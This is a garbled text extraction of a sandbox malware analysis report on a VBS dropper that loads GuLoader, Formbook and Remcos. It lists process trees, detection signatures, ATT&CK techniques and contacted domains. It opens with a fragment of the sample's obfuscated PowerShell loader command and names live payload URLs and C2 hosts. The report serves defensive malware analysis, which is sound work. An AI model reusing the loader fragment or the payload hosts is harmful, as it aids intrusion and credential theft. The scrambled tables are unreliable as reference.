Kard$UnimPDeteimesacTopvo UnrtPreceRegidStudtNonc2Real ');Impulsfun (Postula ' Imp$Forygforsl teaoSulpbTracaMusilTilh:hudaBUplaokanhn SlueDis
snKitlp GenrConf Brah=Forf Bort[LgegSSubcyHypes OphtSteieSandm Pyr. hyaCFejlo Peen AflvdegleDelfrPhoct Eks]Uagt:Muld:UnevFBlegrTempo SysmBarnBNonda VicsSubse Lge6Solu4notcSKabatPhilrRetsiClarnNedsgDelg(Unre$VetoTSolaiLetalSjovb MoruGyngdDispsImpopBrakrEleu) Ove ');Impulsfun (Postula'Came$QuangAntilPredoafteb bnkaRepel Trs:FrstGomstiArmegopdag AdveBrdrrMakl2Alte Inte=Tram Disc[ SmaS EntyArgus DuptUnvee SucmTank.FerrT
LarmeCtenxUdlatRece.QuoiERadun SwecTjekoForkdDrubi ananAppegBrom]Spin:pipp:DemuA IncS KonC MesINarrISkyf.MoseGOphjeFlopt CarSBlget
RerorMossiTatonLanggDecy(Sabb$InsiBAfkloSpoonOrgaeMuran ImppOverr Ste)Fort ');Impulsfun (Postula ' Unc$SighgLovgl allopilsbDollaPerslprep:Vo
gnGPerciCybeg BiygSolbeacrirSvik3Kede= Sem$ TalGArloianlegForegStaaeClapr Dem2Henr.PoddsFostuAldrbGnatsOctatRealr BamiSalpnStangsicc( Trk2Of
fi4Mont7 Hem9Tech0Akti5Pars,Skru1Hogr8rand1Flav8 For6yese) Cli ');Impulsfun $Gigger3;};; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
conhost.exe (PID: 1488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
cmd.exe (PID: 3920 cmdline: C:\Windows\system32\cmd.exe" /c "echo 1 && exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Copyright Joe Security LLC 2023

Page 6 of 57

wab.exe (PID: 356 cmdline: C:\Program Files (x86)\windows mail\wab.exe MD5: 251E51E2FEDCE8BB82763D39D631EF89)
wab.exe (PID: 6596 cmdline: C:\Program Files (x86)\windows mail\wab.exe MD5: 251E51E2FEDCE8BB82763D39D631EF89)
VcdsjmiOSutUKwauEhOKSW.exe (PID: 6408 cmdline: "C:\Program Files (x86)\rhyDinZuqozhOeobpGJsijGTETCBEJjEdxMeixazBAuWmP
jMTUBJIiDtAkDTxVvQuDNgaBtWvtxXCifQ\VcdsjmiOSutUKwauEhOKSW.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
winver.exe (PID: 5024 cmdline: C:\Windows\SysWOW64\winver.exe MD5: B5471B0FB5402FC318C82C994C6BF84D)
firefox.exe (PID: 3168 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
svchost.exe (PID: 5500 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
cleanup

Provided by

Malware Threat Intel
Name

Description

Formbook,
FormboFormBook contains a unique crypter RunPE that has unique behavioral
patterns subject to detection. It was initially called "Babushka Crypter" by
Insidemalware.

Attribution

Blogpost URLs

Link

SWEED
blog.inquest.net/blog/2018/06/ https://malpedia.caad.fkie.fr
22/a-look-at-formbookaunhofer.de/details/win.form
stealer/http://cambuz.blogspot book.de/2016/06/form-grabber2016cromeffoperathunderbi.htmlhtt
p://www.vkremez.com/2018/0
1/lets-learn-dissectingformbook.htmlhttps://any.run/cybersecurity-blog/xloaderformbook-encryption-analysisand-malwaredecryption/https://asec.ahnlab.
com/en/32149/

CobaltName

Description

Attribution

Blogpost URLs

CloudEyE,
GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It
typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar,
Formbook, Lokibot, Netwire and Remcos, often but not always from
Google Drive. The downloaded payload is xored.

No Attribution

symantec-enterpriseblogs.security.com/blogs/threa https://malpedia.caad.fkie.fr
t-intelligence/bluebottle-banks- aunhofer.de/details/win.cloutargeteddeye
africahttps://0x00sec.org/t/ana
lyzing-modern-malwaretechniques-part3/18943https://any.run/cybers
ecurity-blog/deobfuscatingguloader/https://asec.ahnlab.com/en/55978/https://blog.chec
kpoint.com/security/march2023s-most-wanted-malwarenew-emotet-campaignbypasses-microsoft-blocks-todistribute-malicious-onenotefiles/

Name

Description

Attribution

Blogpost URLs

Remcos,RemcosRAT

Remcos (acronym of Remote Control & Surveillance Software) is acommercial Remote Access Tool to remotely control computers.Remcos isadvertised as legitimate software which can be used for surveillance andpenetration testing purposes, but has been used in numerous hacking
campaigns.Remcos, once installed, opens a backdoor on the computer,
granting full access to the remote user.Remcos is developed by thecybersecurity company BreakingSecurity.

APT33
The Gorgon Group

Link

Link

malware-trafficanalysis.net/2017/12/22/index. https://malpedia.caad.fkie.fr
htmlhttps://asec.ahnlab.com/e aunhofer.de/details/win.rem
n/32376/https://asec.ahnlab.c cos
om/ko/25837/https://asec.ahnl
ab.com/ko/32101/https://blog.
360totalsecurity.com/en/vende
tta-new-threat-actor-fromeurope/

Malware Conﬁguration⊘ No configs have been foundYara Signatures
Dropped Files
SourceRule

C:\Users\user\AppData\Roaming\aqloespt.dat

JoeSecurity_Remc Yara detectedosRemcos RAT

Copyright Joe Security LLC 2023

Description

AuthorStrings

Joe Security

Page 7 of 57

Memory Dumps
SourceRule

Description

Author00000016.00000002.3302950787.0000000002780000.0000
0040.80000000.00040000.00000000.sdmp

JoeSecurity_Form
Book_1

Yara detected
FormBook

Joe Security

00000016.00000002.3302950787.0000000002780000.0000
0040.80000000.00040000.00000000.sdmp

Windows_Trojan_F unknown
ormbook_1112e11
6

unknown

00000016.00000002.3305103440.00000000044F0000.0000
0004.00000800.00020000.00000000.sdmp

JoeSecurity_Form
Book_1Joe Security

00000016.00000002.3305103440.00000000044F0000.0000
0004.00000800.00020000.00000000.sdmp

Windows_Trojan_F unknown
ormbook_1112e11
6

unknown

00000010.00000002.2916991966.0000000008D50000.0000
0040.00001000.00020000.00000000.sdmp

JoeSecurity_GuLo
ader_5

Joe Security

Yara detected
FormBook

Yara detected
GuLoaderStrings

0x27a80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D
70 01 0F B6 00 8D 55
0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F
75 11 8A D0 80 E2 01

0x27a80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D
70 01 0F B6 00 8D 55
0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F
75 11 8A D0 80 E2 01

Click to see the 16 entries

Other
SourceRule

Description

amsi32_4592.amsi.csv

INDICATOR_SUSPICIOUS_PWSH_
B64Encoded_Con
catenated_FileEX
EC

Detects
ditekSHen
PowerShell scripts
containing patternsof base64 encoded
files,
concatenation andexecution

AuthorStrings
0xe06a:$b2: ::FromBase64String(
0xccfa:$s1: -join
0x64a6:$s4: +=0x6568:$s4: +=0xa78f:$s4: +=0xc8ac:$s4: +=0xcb96:$s4: +=0xccdc:$s4: +=0x1451e:$s4: +=0x1459e:$s4: +=0x14664:$s4: +=0x146e4:$s4: +=0x148ba:$s4: +=0x1493e:$s4: +=0xd476:$e4: Get-WmiObject
0xd665:$e4: Get-Process
0xd6bd:$e4: Start-Process
0x1305f:$e4: Get-Process

amsi32_5912.amsi.csv

INDICATOR_SUSPICIOUS_PWSH_
B64Encoded_Con
catenated_FileEX
EC

Detects
ditekSHen
PowerShell scripts
containing patternsof base64 encoded
files,
concatenation andexecution

0xa9d8:$b2: ::FromBase64String(
0x9640:$s1: -join
0x2dec:$s4: +=0x2eae:$s4: +=0x70d5:$s4: +=0x91f2:$s4: +=0x94dc:$s4: +=0x9622:$s4: +=0x10dd2:$s4: +=0x10e52:$s4: +=0x10f18:$s4: +=0x10f98:$s4: +=0x1116e:$s4: +=0x111f2:$s4: +=0x9dc2:$e4: Get-WmiObject
0x9fb1:$e4: Get-Process
0xa009:$e4: Start-Process
0xf915:$e4: Get-Process

Sigma Signatures⊘ No Sigma rule has matched

Snort Signatures
ETPRO TROJAN GuLoader Encoded Binary Request M2 - Source IP: 192.168.2.5 - Destination IP: 172.93.120.190
Timestamp:

192.168.2.5172.93.120.19049717802855192 12/11/23-09:42:21.848292

SID:

2855192

Source Port:

49717

Copyright Joe Security LLC 2023

Page 8 of 57

Destination Port:80

Protocol:TCPClasstype:

A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Server Response - Source IP: 85.209.176.69 - Destination IP: 192.168.2.5
Timestamp:

85.209.176.69192.168.2.557484497182032777 12/11/23-09:42:24.018018

SID:

2032777

Source Port:

57484

Destination Port:

49718

Protocol:TCPClasstype:

A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (POST) M3 - Source IP: 192.168.2.5 - Destination IP: 192.185.129.44
Timestamp:

192.168.2.5192.185.129.4449729802855464 12/11/23-09:43:46.557469

SID:

2855464

Source Port:

49729

Destination Port:80

Protocol:TCPClasstype:

A Network Trojan was detected

ETPRO TROJAN GuLoader Encoded Binary Request M2 - Source IP: 192.168.2.5 - Destination IP: 94.46.180.55
Timestamp:

192.168.2.594.46.180.5549726802855192 12/11/23-09:42:55.666542

SID:

2855192

Source Port:

49726

Destination Port:80

Protocol:TCPClasstype:

A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (POST) M3 - Source IP: 192.168.2.5 - Destination IP: 192.185.129.44
Timestamp:

192.168.2.5192.185.129.4449728802855464 12/11/23-09:43:42.555972

SID:

2855464

Source Port:

49728

Destination Port:80

Protocol:TCPClasstype:

A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.5 - Destination IP: 85.209.176.69
Timestamp:

192.168.2.585.209.176.6949718574842032776 12/11/23-09:42:23.673781

SID:

2032776

Source Port:

49718

Destination Port:

57484

Protocol:TCPClasstype:

A Network Trojan was detected

Joe Sandbox Signatures
AV Detection
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URLYara detected FormBook
Yara detected Remcos RAT

Networking
Snort IDS alert for network traffic

Copyright Joe Security LLC 2023

Page 9 of 57

Key, Mouse, Clipboard, Microphone and Screen Capturing
Contains functionality to modify clipboard data
Installs a global keyboard hook

E-Banking Fraud
Yara detected FormBook
Yara detected Remcos RAT

System Summary
Malicious sample detected (through community Yara rule)
Potential malicious VBS script found (suspicious strings)
Very long command line foundWindows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)

Data Obfuscation
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Found suspicious powershell code related to unpacking or dynamic code loading
Suspicious powershell command line found

Persistence and Installation Behavior
Powershell uses Background Intelligent Transfer Service (BITS)

Boot Survival
Creates multiple autostart registry keys

Malware Analysis System Evasion
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

HIPS / PFW / Operating System Protection Evasion
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Writes to foreign memory regions

Stealing of Sensitive Information
Yara detected FormBook
Yara detected Remcos RAT
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)

Remote Access Functionality
Copyright Joe Security LLC 2023

Page 10 of 57

Yara detected FormBook
Yara detected Remcos RAT

Mitre Att&ck Matrix
Privilege
DefenseEscalation Evasion

CommandCredential
Lateral
Network
Discovery
Collection Exfiltration andAccessMovement
Effects
Control

RemoteExecution Persistence

Service
Effects

ImpactResource
Reconnaissance
Development

Valid

1 1

1

1

1

1

1

Remote1

Exfiltration

3

ExploitRemotely

Abuse

AcquireGather

Accounts

Windows
Managem

DLL SideLoading

DLL SideLoading

Deobfusca OS
te/Decode Credential

SystemTime

Services

ArchiveCollected

Over
Other

IngressTool

SS7 toRedirect

Wipe Data
Without

Accessibili
tyInfrastructure

VictimIdentity

Files orInformatio

Discovery

Data

NetworkMediumTransfer

Phone
Calls/SMS

Authorizati
onFeatures

InitialAccessent
Instrumentation

DumpingnDefault

3 2 1

1

1

3 2 1

1 1

1

Remote1

Exfiltration

1

SIM Card

ObtainNetwork

Accounts

Scripting

BITS Jobs

AccessToken

Scripting

Input
CaptureAccount
Discovery

DesktopProtocolData from
Local

Over
BluetoothEncrypted
ChannelSwap

DeviceCloud

Denial ofService

Manipulati
onDomain1 1

Accounts

Native API Registry
Run Keys

1 1

1 1 2
Command

Login
Hook

and
ScriptingInterpreter
Cloud
Accounts

System

3 1 1

3

2

3

SMB/WindObfuscated Files orCredentials inFile and
Directoryows Admin EmailSharesCollection

InformationRegistry

Discovery

1 1
Registry

1
Software1
Credential

3 9
SystemDistributed 1 1Compone Input

Traffic
Duplicatio

Run Keys/ Startup

Packings In Files

Informationnt Object
Model

Capturen

LSA
Secrets

SSH

1 1
Clipboard

ScheduledTransfer

Folder1

Network
Logon

NetworkLogon

1
DLL Side-ll

ScriptScriptLoading1
Query

Credentials

Automated

1

Data

DNS

Email

Exfiltration

NonStandard

Encrypted
for Impact

ServerAddresses

4
Non-

Data
Destructio

VirtualPrivateEmployee
Names

Application LayernServer

4
Applicatio

Data
Encrypted

Servern LayerProtocolfor Impact

Multiband

ServicePort

Discovery

2PowerShe

Domains

Backups

Process
Injection/ Startup
FolderLocal
Accounts

InformationProtocolRegistry

Data

GatherVictimNetwork
InformationReplicatio

Scheduled RC Scripts RC Scripts

1

Cached1 5 1

n ThroughRemovabl

Task

Masquerading

DomainCredential

Security
Softwares

Discovery

DCSync5 1
Virtualizati

e Media
External
RemoteSystemd
TimersStartup
Items

Startup
Items

Services

5 1
Virtualizati
on/Sandbox

VNC

GUI Input

Data

CaptureTransfer
Communic
Size Limits ation

Stop

Web
PortalExfiltration
Over C2

Inhibit
Systemon/Sandbo Managemx Evasion ent

CaptureChannel3

Cloud

Credential

Exfiltration

Applicatio

Defaceme

ServicesAPI
HookingOver
Alternativen LayerProtocolnt

Windows
RemoteCommonly
Used Port

BotnetDomainProperties

Web
Services

DNS

Serverless

Network

RecoveryEvasionDrive-by

Container

Scheduled Scheduled

1

Proc

CompromiseOrchestrat
ion Job

Task/Job

AccessToken

Filesystem Process
Discovery

Task/Job

ManipulationExploitCommandPublicFacing

andScripting

ApplicationInterpreter

SupplyPowerShe

Chain
Compromi

ll

At

At

Trust
DependenProtocolcies

1/etc/passw

1

DirectData

Exfiltration

Web

Internal

Malvertisin Network

BITS Jobs

d and/etc/shado

Application Window

Cloud VM
Connectio

StagedOver
Symmetric

Protocols

DefacementgTopologyw

Discovery

ns

3 1 1

Network

1

SharedLocal Data Exfiltration

File

External

Compromi

IP

Process
Injection

Sniffing

SystemOwner/Us

Webroot

Staging

TransferProtocols

Defacement

seInfrastruct

Addresses

Encrypted
Non-C2
Protocol

Cron

se

Cron

er
DiscoveryOver
AsymmetricEncrypted

ure

Non-C2
Protocol

Behavior Graph

Copyright Joe Security LLC 2023

Page 11 of 57

Hide Legend

Behavior GraphID:

1358188

Sample:doc129178202003180817410122...

Startdate:

11/12/2023

Legend:Architecture: WINDOWS
Score:

www.nasyoeastasia.org

www.liangyuen528.com

100

Process

5 other IPs or domains

startedSnort IDS alert for
network traffic

Multi AV Scanner detection
for domain / URL

Malicious sample detected(through community Yara
rule)startedSignature

7 other signatures

wscript.exe

svchost.exe

11

alotropia.sa.com

Created File2

DNS/IP Infoecox.pt
127.0.0.1

172.93.120.190, 49708, 49717, 80

94.46.180.55, 49725, 49726, 80

HOST4GEEKS-LLCUS

ALMOUROLTECPT

United States

unknown
unknown

Portugal

Is Dropped

started
VBScript performs obfuscatedcalls to suspicious
functionsSuspicious powershellcommand line foundWscript starts Powershell(via cmd or directly)

2 other signatures

Is Windows Process

powershell.exe

16

Suspicious powershellcommand line found

Very long command line
found

Number of created Registry Values

startedstartedpowershell.exe

startedconhost.exe

Number of created Files

cmd.exe181Visual Basic
Writes to foreign memory
regions

Powershell uses Background
Intelligent Transfer
Service (BITS)

Maps a DLL or memoryarea into another process

Found suspicious powershellcode related to unpacking
or dynamic code loading

startedstartedwab.exe

85.209.176.69, 49718, 49719, 49720

16

1

Java

geoplugin.net
178.237.33.50, 49723, 80

ASDETUKhttpwwwheficedcomGB

Delphicmd.exe

9

dropped

ATOM86-ASATOM86NL

United Kingdom.Net C# or VB.NET

Netherlands

C:\Users\user\AppData\Roaming\aqloespt.dat, data

startedstartedstartedC, C++ or other language
Creates multiple autostartregistry keys

Tries to harvest andsteal browser information(history, passwords,
etc)

Maps a DLL or memoryarea into another process

Installs a global keyboard
hookwscript.exe

wab.exe

Is malicious

wab.exe
2 other processes
1

Suspicious powershellcommand line foundWscript starts Powershell(via cmd or directly)

Very long command linefound

2 other signatures

Tries to steal InstantMessenger accounts or
passwords

started1

Internet

Tries to harvest andsteal browser information(history, passwords,
etc)

Tries to steal Mailcredentials (via file/ registry access)powershell.exe

Writes to foreign memory
regions

Powershell uses Background
Intelligent Transfer
Service (BITS)

startedwab.exe

Creates multiple autostartregistry keys

startedstartedconhost.exe

Maps a DLL or memoryarea into another process

startedcmd.exe

wab.exe

injectedVcdsjmiOSutUKwauEhOKSW.exe

nasyoeastasia.org

www.66nong.com

192.185.129.44, 49728, 49729, 80

134.73.180.207, 49727, 80

UNIFIEDLAYER-AS-1US

LAYER-HOSTUS

United States

United States

started
Maps a DLL or memoryarea into another process

winver.exe

Tries to steal Mailcredentials (via file/ registry access)

Tries to harvest andsteal browser information(history, passwords,
etc)

Writes to foreign memory
regions2 other signatures

startedfirefox.exe

Screenshots
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright Joe Security LLC 2023

Page 12 of 57

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
SourceDetection

Scanner

doc129178202003180817410122023_pdf_(991KB).vbs

0%

Virustotal

Label

Link
BrowseDropped Files⊘ No Antivirus matches
Unpacked PE Files⊘ No Antivirus matches
Domains
SourceDetection

Scanner

ecox.pt

17%

Virustotal

Label

BrowseLink

geoplugin.net

0%

Virustotal

Browsenasyoeastasia.org

13%

Virustotal

Browsewww.nasyoeastasia.org

9%

Virustotal

BrowseURLs
Copyright Joe Security LLC 2023

Page 13 of 57

Source

Detection

Scanner

Label

Link

crl2.postsignum.cz/crl/psrootqca4.crl01

0%

URL Reputation

safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00%

URL Reputation

safe

ocsp.suscerte.gob.ve0

0%

URL Reputation

safe

fedir.comsign.co.il/crl/comsignglobalrootca.crl0;0%

URL Reputation

safe

www.postsignum.cz/crl/psrootqca2.crl020%

URL Reputation

safe

www.chambersign.org10%

URL Reputation

safe

www.suscerte.gob.ve/lcr0#0%

URL Reputation

safe

www.suscerte.gob.ve/lcr0#0%

URL Reputation

safe

crl.securetrust.com/SGCA.crl00%

URL Reputation

safe

postsignum.ttc.cz/crl/psrootqca2.crl00%

URL Reputation

safe

crl1.comsign.co.il/crl/comsignglobalrootca.crl00%

URL Reputation

safe

www.rcsc.lt/repository00%

URL Reputation

safe

www.suscerte.gob.ve/dpc00%

URL Reputation

safe

www2.postsignum.cz/crl/psrootqca2.crl01

0%

URL Reputation

safe

www.ecee.gov.pt/dpc00%

URL Reputation

safe

cps.chambersign.org/cps/chambersignroot.html00%

URL Reputation

safe

crl.postsignum.cz/crl/psrootqca4.crl020%

URL Reputation

safe

ocsp.pki.gva.es0

0%

URL Reputation

safe

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?

0%

URL Reputation

safe

ocsp.accv.es00%

URL Reputation

safe

acraiz.icpbrasil.gov.br/LCRacraizv2.crl00%

URL Reputation

safe

https://repository.tsp.zetes.com00%

URL Reputation

safe

www.globaltrust.info00%

URL Reputation

safe

geoplugin.net/json.gp

100%

URL Reputation

phishing

ac.economia.gob.mx/last.crl0G

0%

URL Reputation

safe

ecox.pt/reseaux.lpk

100%

Avira URL Cloudmalwarecrl.chambersign.org/chambersignroot.crl00%

URL Reputation

safe

crl.defence.gov.au/pki0

0%

URL Reputationsafe

ac.economia.gob.mx/cps.html00%

URL Reputation

safe

http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c00%

URL Reputation

safe

crl.postsignum.eu/crl/psrootqca4.crl00%

URL Reputation

safe

www.accv.es00

0%

URL Reputation

safe

alotropia.sa.com/.well-known/kz/Slaa.u32

0%

Avira URL Cloudsafe

https://www.netlock.net/docs

0%

URL Reputation

safe

www.e-trust.be/CPS/QNcerts

0%

URL Reputation

safe

www.ebuddy.com

0%

URL Reputation

safe

www.globaltrust.info0=

0%

Avira URL Cloud

safe

ecox.pt/PfEHVXHMUrQ218.bin

100%

Avira URL Cloudmalwarewww.nasyoeastasia.org/ksap/

100%

Avira URL Cloudmalwarealotropia.sa.com/.well-known/kz/qKtYPhDfxmsQBQDCtore229.bin

0%

Avira URL Cloud

safe

alotropia.sa.com/.well-known/kz/Slaa.u32

1%

Virustotal

Browsealotropia.sa.com/.well-known/kz/qKtYPhDfxmsQBQDCtore229.bin

1%

Virustotal

BrowseDomains and IPs
Contacted Domains
Name

IP

ActiveMalicious

Antivirus Detection

Reputation

www.66nong.com

134.73.180.207

true

false

ecox.pt

94.46.180.55

true

true

alotropia.sa.com

172.93.120.190

true

true

geoplugin.net

178.237.33.50

true

false

0%, Virustotal, Browse

unknownnasyoeastasia.org

192.185.129.44

true

true

13%, Virustotal, Browse

unknown

www.nasyoeastasia.org

unknown

unknowntrue

9%, Virustotal, Browse

unknown

www.liangyuen528.com

unknown

unknowntrue

unknown
17%, Virustotal, Browse

unknown
unknown

unknown

Contacted URLs
Copyright Joe Security LLC 2023

Page 14 of 57

Name

Malicious Antivirus Detection

Reputation

ecox.pt/reseaux.lpk

true

Avira URL Cloud: malware

unknown

alotropia.sa.com/.well-known/kz/Slaa.u32

true

1%, Virustotal, Browse
Avira URL Cloud: safe

unknown

ecox.pt/PfEHVXHMUrQ218.bin

true

Avira URL Cloud: malware

unknown

www.nasyoeastasia.org/ksap/

true

Avira URL Cloud: malware

unknown

geoplugin.net/json.gp

true

URL Reputation: phishing

unknown

alotropia.sa.com/.well-known/kz/qKtYPhDfxmsQBQDCtore229.bin

true

1%, Virustotal, Browse
Avira URL Cloud: safe

unknown

URLs from Memory and Binaries
Name

SourceMalicious

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownwww.datev.de/zertifikat-policy-int0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

ocsp.suscerte.gob.ve0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

fedir.comsign.co.il/crl/comsignglobalrootca.crl0;

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownwww.postsignum.cz/crl/psrootqca2.crl02

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownwww.chambersign.org1

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

www.firmaprofesional.com/cps0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

high

repository.swisssign.com/0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

high

www.suscerte.gob.ve/lcr0#

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe
URL Reputation: safe

unknown

crl.securetrust.com/SGCA.crl0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

postsignum.ttc.cz/crl/psrootqca2.crl0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

crl1.comsign.co.il/crl/comsignglobalrootca.crl0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

www.rcsc.lt/repository0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownhttps://www.google.com

wab.exe

false

www.suscerte.gob.ve/dpc0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

www2.postsignum.cz/crl/psrootqca2.crl01

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

www.ecee.gov.pt/dpc0

wscript.exe, 00000000.00000003.200997938
8.0000024F5768D000.00000004.00000020.000
20000.00000000.sdmp, wscript.exe, 000000
00.00000003.2008761587.0000024F5768D000.
00000004.00000020.00020000.00000000.sdmp

false

URL Reputation: safe

unknown

www.globaltrust.info0=

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

Avira URL Cloud: safe

low

https://login.yahoo.com/config/login

wab.exe

false

crl2.postsignum.cz/crl/psrootqca4.crl01

trustcentercrl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.
crl0

www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0

Copyright Joe Security LLC 2023

Antivirus Detection

Reputation

high

high

high

high

Page 15 of 57

Name

SourceMalicious

Antivirus Detection

Reputation

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.p
df09
www.nirsoft.net/

wab.exe

false

cps.chambersign.org/cps/chambersignroot.html0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

crl.postsignum.cz/crl/psrootqca4.crl02

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownocsp.pki.gva.es0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

www.accv.es/legislacion_c.htm0U

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

ocsp.accv.es0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

acraiz.icpbrasil.gov.br/LCRacraizv2.crl0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

www.imvu.com

wab.exefalse

https://repository.tsp.zetes.com0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp, wscript.exe, 000000
00.00000003.2028020109.0000024F576B2000.
00000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000000.00000003.2017419552.000002
4F576B2000.00000004.00000020.00020000.00
000000.sdmp

false

www.datev.de/zertifikat-policy-std0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

www.globaltrust.info0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

ac.economia.gob.mx/last.crl0G

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp, wscript.exe, 000000
00.00000003.2017419552.0000024F576B2000.
00000004.00000020.00020000.00000000.sdmp

false

URL Reputation: safe

unknown

wscript.exe, 00000000.00000003.200871247
www.accv.es/fileadmin/Archivos/certificados/raizaccv1. 0.0000024F57653000.00000004.00000020.000
crt020000.00000000.sdmp

false

high

high

high

high
URL Reputation: safe

unknown

high

high

crl.chambersign.org/chambersignroot.crl0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

crl.defence.gov.au/pki0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

ac.economia.gob.mx/cps.html0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp, wscript.exe, 000000
00.00000003.2017419552.0000024F576B2000.
00000004.00000020.00020000.00000000.sdmp

false

URL Reputation: safe

unknown

http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknown

crl.postsignum.eu/crl/psrootqca4.crl0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownhttps://www.google.com/accounts/servicelogin

wab.exefalse

www.accv.es00

